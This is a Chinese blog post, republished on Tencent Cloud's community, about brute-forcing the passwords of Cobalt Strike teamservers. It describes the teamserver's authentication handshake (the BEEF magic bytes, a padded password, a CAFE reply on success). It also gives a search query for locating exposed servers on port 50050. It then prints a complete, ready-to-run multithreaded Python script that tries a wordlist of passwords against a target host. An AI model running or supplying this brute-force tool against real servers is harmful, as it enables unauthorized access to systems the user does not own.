前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >蓝色吃定红色-爆破CS Teamserver 密码

蓝色吃定红色-爆破CS Teamserver 密码

作者头像
洛米唯熊
发布2022-02-15 10:14:40
1.3K0
发布2022-02-15 10:14:40
举报
文章被收录于专栏:洛米唯熊洛米唯熊

0x00:简介

Cobalt strike(下面简称 CS)#
众所周知,CS是一个以MSF为基础的GUI框架式“多人运动”渗透测试工具,集成了端口转发、服务扫描、自动化溢出,多模式端口监听,exe、powershell木马生成等.
钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等。
Cobalt Strike 主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。
Cobalt Strike 作为一款协同APT工具,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选。

0x01:成因

1、很多团队为了方便基友能够很快连上 Teamserver,基本都是设置的弱口令,一般常见的是:123456、123123等
2、很多也使用的默认的 Teamserver端口50050
3、集合以上薄弱入口点,开始测试爆破连接。

0x02:编写

一、自己teamserver链接测试。在服务器搭建好服务端后,通过浏览器去访问测试。google浏览器测试结果如下。
在火狐的浏览器测试结果如下
F12看下什么情况
二、我们去看一下Teamserver的认证方式。
代码语言:javascript
复制
if [ -e ./cobaltstrike.store ]; then
    print_info "Will use existing X509 certificate and keystore (for SSL)"
else
    print_info "Generating X509 certificate and keystore (for SSL)"
    keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
fi

# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*
第一种是表面上用于保护套接字的身份验证的原始数据类型。
第二种是基于Java序列化对象的身份验证,其中包括大部分为符号的用户名。
其中cobaltstrike.store是这样的
在固定的261字节长度的命令中,第一个身份验证请求大致是这样定义的:
代码语言:javascript
复制
4 Byte Magic \x00\x00\xBE\xEF
1 Byte Password Length (unsigned int)
Password (unsigned int cast char array)
Padding \x65 "A" * ( Length( Password ) - 256 )

在导线上看起来像这样,但是填充被忽略,可以是任何东西。身份验证例程最多读取256个“长度”。#

代码语言:javascript
复制
\x00\x00\xBE\xEF\x08passwordAAAAAAAAAAAAAA...AAAA
如果提供的密码与启动团队服务器时定义的密码匹配,则团队服务器将以4字节的密码进行回复。

<此密码不能为空>

代码语言:javascript
复制
\x00\x00\xCA\xFE

否则,团队服务器返回null

代码语言:javascript
复制
\x00\x00\x00\x00

三、python3编写思路#

代码语言:javascript
复制
conn.open(host, port)

payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))

conn.send(payload)
最后判断返回结果是否存在“\x00\x00\xca\xfe”,如果存在则密码正确
四、找找公鸡队的Teamserver
代码语言:javascript
复制
"Cobalt strike" && port="50050"

五、开整

代码语言:javascript
复制
#!/usr/bin/env python3

import time,socket,ssl,argparse,concurrent.futures,sys

MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
    sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)

parser = argparse.ArgumentParser()

parser.add_argument("host",
                    help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
                    help="Newline-delimited word list file")

args = parser.parse_args()

class NotConnectedException(Exception):
    def __init__(self, message=None, node=None):
        self.message = message
        self.node = node

class DisconnectedException(Exception):
    def __init__(self, message=None, node=None):
        self.message = message
        self.node = node

class Connector:
    def __init__(self):
        self.sock = None
        self.ssl_sock = None
        self.ctx = ssl.SSLContext()
        self.ctx.verify_mode = ssl.CERT_NONE
        pass

    def is_connected(self):
        return self.sock and self.ssl_sock

    def open(self, hostname, port):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(10)
        self.ssl_sock = self.ctx.wrap_socket(self.sock)

        if hostname == socket.gethostname():
            ipaddress = socket.gethostbyname_ex(hostname)[2][0]
            self.ssl_sock.connect((ipaddress, port))
        else:
            self.ssl_sock.connect((hostname, port))

    def close(self):
        if self.sock:
            self.sock.close()
        self.sock = None
        self.ssl_sock = None

    def send(self, buffer):
        if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
        self.ssl_sock.sendall(buffer)

    def receive(self):
        if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
        received_size = 0
        data_buffer = b""

        while received_size < 4:
            data_in = self.ssl_sock.recv()
            data_buffer = data_buffer + data_in
            received_size += len(data_in)

        return data_buffer

def passwordcheck(password):
    if len(password) > 0:
        result = None
        conn = Connector()
        conn.open(args.host, 50050)
        payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))
        conn.send(payload)
        if conn.is_connected(): result = conn.receive()
        if conn.is_connected(): conn.close()
        if result == bytearray(b"\x00\x00\xca\xfe"): return password
        else: return False
    else: print("Do not have a blank password!!!")

passwords = []

if args.wordlist: passwords = open(args.wordlist).read().split("\n")
else: 
    for line in sys.stdin: passwords.append(line.rstrip())

if len(passwords) > 0:
    attempts = 0
    failures = 0

    with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:

        future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
        for future in concurrent.futures.as_completed(future_to_check):
            password = future_to_check[future]
            try:
                data = future.result()
                attempts = attempts + 1
                if data:
                    print ("Successful Attack!!!")
                    print ("Secquan NB!!")
                    print("Target Password: {}".format(password))
            except Exception as exc:
                failures = failures + 1
                print('%r generated an exception: %s' % (password, exc))

else:
    print("Password(s) required")
执行方式 test.py x.x.x.x pass.txt

pass.txt是你要爆破的密码文件 文章参考

代码语言:javascript
复制
https://github.com/ryanohoro/csbruter
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-09-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00:简介
  • 0x01:成因
  • 0x02:编写
    • 执行方式 test.py x.x.x.x pass.txt
    相关产品与服务
    网站渗透测试
    网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档